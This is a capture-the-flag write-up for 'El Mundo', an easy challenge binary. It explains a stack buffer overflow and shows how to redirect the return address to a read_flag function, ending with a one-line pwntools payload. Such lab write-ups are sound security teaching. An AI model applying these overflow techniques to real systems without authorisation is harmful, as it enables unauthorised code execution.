El Mundo

15th September 2024 / Document No. D24.102.207

Prepared By: `w3th4nds`

Challenge Author(s): `w3th4nds`

Difficulty: Easy

Classification: Official

Synopsis

- El Mundo is an easy difficulty challenge that features `ret2win` vulnerability.

Description

- You may not control time, but you can certainly control the flow of your program! Use your stand to bend it to your will!

Skills Required

- Basic C, stack understanding

Skills Learned

- ret2win

Enumeration

First of all, we start with a `checksec`:

```
gef➤  checksec
Canary                        : ✘
NX                            : ✓
PIE                           : ✘
Fortify                       : ✘
RelRO                         : Full
```

Protections

As we can see:

Protection	Enabled	Usage
Canary	❌	Prevents **Buffer Overflows**
NX	✅	Disables **code execution** on stack
PIE	❌	Randomizes the **base address** of the binary
RelRO	**Full**	Makes some binary sections **read-only**

Having `canary` and `PIE` disabled, means that we might have a possible `buffer overflow`.

The interface of the program looks like this:

Stack frame layout

```
|      .      | <- Higher addresses
|      .      |
|_____________|
|             | <- 64 bytes
| Return addr |
|_____________|
|             | <- 56 bytes
|     RBP     |
|_____________|
|             | <- 48 bytes
| Local vars  |
|_____________|
|             | <- 32 bytes
|  Buffer[31] |
|_____________|
|      .      |
|      .      |
|_____________|
|             |
|  Buffer[0]  |
|_____________| <- Lower addresses


      [Addr]       |      [Value]
```

```
------------------+------------------

0x00007ffeb0ee4520 | 0x0000000000000000 <- Start of buffer (You write here from right to left)
0x00007ffeb0ee4528 | 0x0000000000000000
0x00007ffeb0ee4530 | 0x0000000000000000
0x00007ffeb0ee4538 | 0x0000000000000000
0x00007ffeb0ee4540 | 0x00007b6fa6204644 <- Local Variables
0x00007ffeb0ee4548 | 0x00000000deadbeef <- Local Variables (nbytes read receives)
0x00007ffeb0ee4550 | 0x00007ffeb0ee45f0 <- Saved rbp
0x00007ffeb0ee4558 | 0x00007b6fa602a1ca <- Saved return address
0x00007ffeb0ee4560 | 0x00007b6fa62045c0
0x00007ffeb0ee4568 | 0x00007ffeb0ee4678

[*] Overflow  the buffer.
[*] Overwrite the 'Local Variables' with junk.
[*] Overwrite the Saved RBP with junk.
[*] Overwrite 'Return Address' with the address of 'read_flag() [0x4016b7].'

>
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


      [Addr]       |      [Value]
------------------+------------------

0x00007ffeb0ee4520 | 0x6161616161616161 <- Start of buffer (You write here from right to left)
0x00007ffeb0ee4528 | 0x6161616161616161
0x00007ffeb0ee4530 | 0x6161616161616161
0x00007ffeb0ee4538 | 0x6161616161616161
0x00007ffeb0ee4540 | 0x6161616161616161 <- Local Variables
0x00007ffeb0ee4548 | 0x0000000000000086 <- Local Variables (nbytes read receives)
0x00007ffeb0ee4550 | 0x6161616161616161 <- Saved rbp
0x00007ffeb0ee4558 | 0x6161616161616161 <- Saved return address
0x00007ffeb0ee4560 | 0x6161616161616161
0x00007ffeb0ee4568 | 0x6161616161616161

[!] You changed the return address!


      [Addr]       |      [Value]
------------------+------------------

0x00007ffeb0ee4520 | 0x6161616161616161 <- Start of buffer (You write here from right to left)
0x00007ffeb0ee4528 | 0x6161616161616161
0x00007ffeb0ee4530 | 0x6161616161616161
0x00007ffeb0ee4538 | 0x6161616161616161
0x00007ffeb0ee4540 | 0x6161616161616161 <- Local Variables
0x00007ffeb0ee4548 | 0x0000000000000086 <- Local Variables (nbytes read receives)
0x00007ffeb0ee4550 | 0x6161616161616161 <- Saved rbp
0x00007ffeb0ee4558 | 0x6161616161616161 <- Saved return address
0x00007ffeb0ee4560 | 0x6161616161616161
```

```
0x00007ffeb0ee4568 | 0x6161616161616161

[1]    17576 segmentation fault (core dumped)  ./el_mundo
```

As we noticed before, there is indeed a `Buffer Overflow`, because after we entered a big amount of "a"s, the program stopped with `Segmentation fault`. This means we messed up with the addresses of the binary.

Disassembly

Starting with `main()`:

```
0040179f  int32_t main(int32_t argc, char** argv, char** envp)

0040179f  {
004017b0      int64_t dummy = 0xdeadbeef;
004017b4      int64_t buffer;
004017b4      __builtin_memset(&buffer, 0, 0x20);
004017d9      show_buffer();
004017e5      show_stack(&buffer);
00401803      printf("[*] Overflow  the buffer.\n[*] O…", read_flag);
00401819      ssize_t nbytes = read(0, &buffer, 0x100);
00401819
00401827      if (nbytes > 0x37)
00401827      {
0040186d          show_stack(&buffer);
0040188b          printf("[!] You changed the return addre…", "\x1b[1;36m");
00401827      }
00401827      else
00401827      {
00401830          show_stack(&buffer);
0040185f          printf("%s[-] You need to add more than …", "\x1b[1;31m", nbytes,
"\x1b[1;36m");
00401827      }
00401827
00401897      show_stack(&buffer);
004018a2      return 0;
0040179f  }
```

As we can see, the `buffer` is `0x20` bytes long and the `read` function reads up to `0x100` bytes, meaning we can overflow the buffer.

```
004017b4      int64_t buffer;
004017b4      __builtin_memset(&buffer, 0, 0x20);
004017d9      show_buffer();
004017e5      show_stack(&buffer);
00401803      printf("[*] Overflow  the buffer.\n[*] O…", read_flag);
00401819      ssize_t nbytes = read(0, &buffer, 0x100);
```

But, what can we do after we overflow the buffer? We need to overwrite `return address` with something useful.

```
004016b7  void read_flag() __noreturn

004016b7  {
004016cd      puts(&data_404618);
004016e6      int32_t fd = open("./flag.txt", 0);
004016f8      fflush(stdin);
00401707      fflush(__TMC_END__);
00401707
00401710      if (fd < 0)
00401710      {
0040171c          perror("\nError opening flag.txt, please…");
00401726          exit(1);
00401726          /* no return */
00401710      }
00401710
00401754      char buf;
00401754
00401754      while (read(fd, &buf, 1) > 0)
0040173e          fputc(((int32_t)buf), __TMC_END__);
0040173e
00401768      fflush(stdin);
00401777      fflush(__TMC_END__);
00401786      puts(&data_404602);
00401790      close(fd);
0040179a      exit(0x69);
0040179a      /* no return */
004016b7  }
```

This function prints the flag. This is our goal, we need to somehow call this function.

- Fill the `buffer[32]` buffer with 32 bytes of junk.
- Overwrite the `stack frame pointer` with 8 bytes of junk.
- Overwrite the `return address` with the address of `read_flag()`, 8 bytes aligned and correct endianness.

But, what exactly is endianness?

It actually is the way of storing multibyte data types like `double`, `char`, `int` and so on.

- `Little endian`: **Last** byte of the multibyte data-type is stored first.
- `Big endian`: **First** byte of the multibyte data-type is stored first.

Once we find the address of `win()`, we have to convert it to this.

Inside the debugger, we can just `p` or `print` the address of function like this:

```
pwndbg> p read_flag
$1 = {<text variable, no debug info>} 0x4016b7 <read_flag>
```

Well, the address is also given in the binary's interface, this is just another way to do it.

Our final payload, now that we have the address of `read_flag()`, should look like this:

```
r.sendlineafter('> ', b'A'*56 + p64(e.sym.read_flag))
```